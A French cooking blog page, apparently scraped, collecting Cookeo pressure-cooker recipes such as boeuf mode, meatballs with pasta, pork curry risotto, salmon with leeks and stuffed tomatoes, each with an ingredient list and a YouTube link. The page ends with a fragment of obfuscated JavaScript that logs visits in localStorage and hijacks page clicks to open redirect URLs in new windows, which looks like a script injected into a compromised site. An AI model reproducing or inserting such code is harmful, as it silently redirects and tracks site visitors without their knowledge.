Ingrédients pour 4 personnes

1 kilo de viande à bourguignon

100 g d’oignons congelés

500 grammes de carottes congelées

2 cuillères  à café de concentré de tomate

Thym

Laurier

Poivre

250 ml de vin rouge

1 cube de bouillon de bœuf

2 cuillères  à café de farine .

Huile d’olive

Préparation de ce boeuf mode maison

mode dorer

Versez de l’huile d’olive dans la cuve ,faite revenir les oignons congelés puis la viande.

Ajoutez  ensuite les carottes, versez le verre de vin rouge, versez ensuite l’eau avec le cube de bouillon de boeuf.

Poivrez et ajoutez le thym et le laurier.

Passez en cuisson rapide et programmez 45 mn . Quand la cuisson est terminée, ajoutez 2 cuillères à café de concentré de tomates et 2 cuillères à café de farine pour épaissir la sauce servez chaud.

[youtube https://www.youtube.com/watch?v=LxCjnQ1gXSg]
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Boulettes de boeuf encore une recette sympathique et facile à réaliser .

Ingrédients pour 4 personnes

16 boulettes de bœuf

100 g d’oignons congelés

2  cuillères   à café de concentré de tomates

200 g de poivrons congelés

400 g de coquillettes

Huile d’olive

1 cube de bouillon de boeuf

1 petit verre de vin blanc

Poivre

Préparation de ces boulettes

mode “dorer”

Verser l’huile d’olive dans la cuve

Faites revenir les oignons ,les poivrons,  les boulettes de bœuf. Ajoutez les les coquillettes,le verre de vin blanc, le bouillon de cube. Poivrez.

Recouvrez d’eau.

Mélangez avec 2 cuillères à café de  concentré de tomates.

Passez en mode de cuisson rapide et programmer 5 minutes .

Ouvrez votre cookeo et servez chaud.

[youtube https://www.youtube.com/watch?v=7E5Xmed_YMU]
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Téléchargez gratuitement le PDF  de la recette de risotto de porc au curry en cliquant soit sur l’image soit ICI
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[youtube https://www.youtube.com/watch?v=hqXZsquEgIQ&w=560&h=315]
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Télechargez gratuitement le PDF  de cette recette de petits pois aux oignons et au cookeo.

Pour le téléchargement cliquez sur l’image ou ICI.
[youtube https://www.youtube.com/watch?v=W8w6H-HXfjM]
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Ingrédients pour 4 personnes

800 g de sauté de porc

240 g de riz

200 g de champignons de Paris congelés

100 g d’oignons congelés

1 verre de vin blanc

Sel

Poivre

Curry

Huile d’olive

2 cuillères à café de moutarde

1 cube de bouillon de bœuf

Préparation de ce risotto porc curry

Mode dorer

Faites chauffer de l’huile d’olive dans la cuve pour faire dorer les oignons. Puis faites dorer la viande avec les oignons.

Coupez le sauté de porc en morceaux.

Ajoutez les champignons, le verre de vin blanc, le riz. Mélangez.

Versez de l’eau avec le cube de bouillon de bœuf émietté.

Saupoudrez de curry, poivrez.

Ajoutez 2 cuillères à café de moutarde.

Cuissson rapide 12 mn; Servez chaud.
[youtube https://www.youtube.com/watch?v=hqXZsquEgIQ]

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Ingrédients pour 4 personnes

3 médaillons de saumon

200 g de poireaux congelés

300 g de riz basmati

1 verre de vin blanc

100 g d’oignons congelés

1 cube de bouillon de bœuf

Sel

Poivre

Huile d’olive

Préparation de ce saumon poireaux

Mode dorer

Versez de  l’huile d’olive dan s la cuve pour faire revenir les oignons .Ajoutez les médaillons de saumon. Emiettez les médaillons de saumon au fur et à mesure.

Ajoutez les morceaux de poireaux . Emiettez le cube de bouillon de bœuf. Versez le riz Basmati,le verre de vin blanc. Recouvrir d’eau .

Programmer la fonction rapide pour 10 mn .Servez chaud .
[youtube https://www.youtube.com/watch?v=El4tUoitPdU&w=560&h=315]
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Téléchargez gratuitement le PDF de cette recette cookeo de moules à la tomate en cliquant sur l’image ou ICI
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Vous pouvez télécharger gratuitement le PDF  de cette recette cookeo de blanquette de porc soit en cliquant sur la photo soit  en cliquant ICI 
[youtube https://www.youtube.com/watch?v=d5J-V7jiYlc]
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Téléchargez gratuitement le PDF  de cette recette cookeo de moules marinières.Il vous suffit de cliquez sur l’image ou ICI
[youtube https://www.youtube.com/watch?v=luV6Pj1KEuo]
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Ingrédients pour 4 personnes

4 escalopes de poulet

12 pommes de terre

100  g d’oignons congelés

Sel

Poivre

1 cuillère à soupe de paprika

1 cube de bouillon de boeuf

2 cuillères à soupe de crème fraîche

Huile d’olive

Préparation de ce poulet paprika

mode dorer

Versez de l’huile dans la cuve pour faire revenir les oignons et les morceaux de viande.

Saupoudrez de paprika ,mélangez. Ajoutez les pommes de terre.Salez et poivrez.

Versez un bouillon constitué d’eau et du cube de bouillon de boeuf.

Ajoutez 2 cuillères à soupe de crème fraîche.

Cuisson rapide 25 mn .

Pour épaissir la sauce repassez en fonction dorer et ajoutez une cuillère de fécule de mais.Laissez mijoter quelques minutes.
[youtube https://www.youtube.com/watch?v=0txgaFMwi9o]

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Ingrédients pour 4 personnes

3 médaillons de saumon

100  g d’oignons  congelés

400 g de coquillettes

2 cuillères à café de moutarde

1 cube de bouillon de bœuf

1 verre de rosé

Poivre

Huile d’olive

Préparation de ces médaillons

mode dorer

Ajouter de l’huile d’olive dans la cuve, puis faites dorer les oignons .Ajoutez ensuite les médaillons de saumon .Emiettez les médaillons de saumon ,ajoutez les coquillettes dans la cuve .

Versez le verre de rosé, versez l’eau avec le cube de bouillon de bœuf émietté .

Ajouter 2 cuillères à café de moutarde

Passez en mode cuisson rapide 5 minutes .Servez chaud

[youtube https://www.youtube.com/watch?v=QMhYSgzyTPg]
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265 CALORIES 6 PP 6 SP

Ingrédients pour 4 personnes

4  escalopes de poulet

200 g de champignons de Paris congelés

100 g d’oignons congelés

Huile d’olive

1 cube de bouillon de boeuf

4 cuillères à soupe de crème fraîche

3 cuillères à soupe de farine

Sel

Poivre

Préparation de ces escalopes de dinde

mode dorer

Versez de l’huile d’olive dans la cuve puis faites revenir les oignons et les champignons quand l’huile est chaude.

Ajoutez les escalopes de dinde coupées en morceaux .

Versez un bouillon composé d’eau et du cube de bouillon de boeuf. Salez et poivrez .

Incorporez la crème fraîche et mélangez.Passez en mode cuisson rapide pour 12 mn .

Quand la cuisson est terminée repassez en mode dorer puis ajoutez 3 cuillères à soupe de farine pour faire épaissir la sauce.

[youtube https://www.youtube.com/watch?v=8HdbEE2RZMI]
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Tomates farcies une recette traditionnelle mais qui nous régale toujours

Ingrédients pour 4 personnes

8 tomates

400 g de chair à saucisse

1 cube de bouillon de boeuf

200 ml de vin blanc

Sel

Poivre

Préparation de ces tomates farcies

Coupez les tomates, faites des chapeaux. Creusez les tomates et recupérer la chair pour la mélangez avec la chair à saucisse. Salez et poivrez.

Garnissez vos tomates avec la préparation chair à saucisse et tomates.

Placez les tomates dans la cuve du cookeo (calez les) .

Versez un bouillon que vous avez préparé avec de l’eau ,le vin blanc et le cube de bouillon de boeuf.

Passez en cuisson rapide 10 mn . Servez chaud.

[youtube https://www.youtube.com/watch?v=_NjIUoJy9dw]
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Ingrédients pour 4 personnes.

100 g de mini penne de blé complet

1 cube de bouillon de boeuf

200 g de carottes congelées

400 g de lentilles préparées égouttées

1 échalote

2 gousses d’ail coupées en morceaux

1 petite boite de tomates pelées

2 cuillères à soupe de concentré de tomates

Huile d’olive

1 litre d’eau

Sel et poivre

Préparation de ce minestrone

mode dorer

Versez l’huile d’olive et faites revenir l’ail et l ‘échalotes coupés en morceaux. Ajoutez les carottes puis les lentilles.

Ajoutez la boite de tomates pelées ,écrasez un peu les tomates puis poivrez. Emiettez le cube de bouillon de boeuf,ajoutez les pennes et versez 1 litre d’eau .

Ajoutez 2 cuillères à soupe de concentré de tomates.

Programmez la cuisson rapide 6 mn .
[youtube https://www.youtube.com/watch?v=6SSDpKNY4cU&w=560&h=315]
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_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());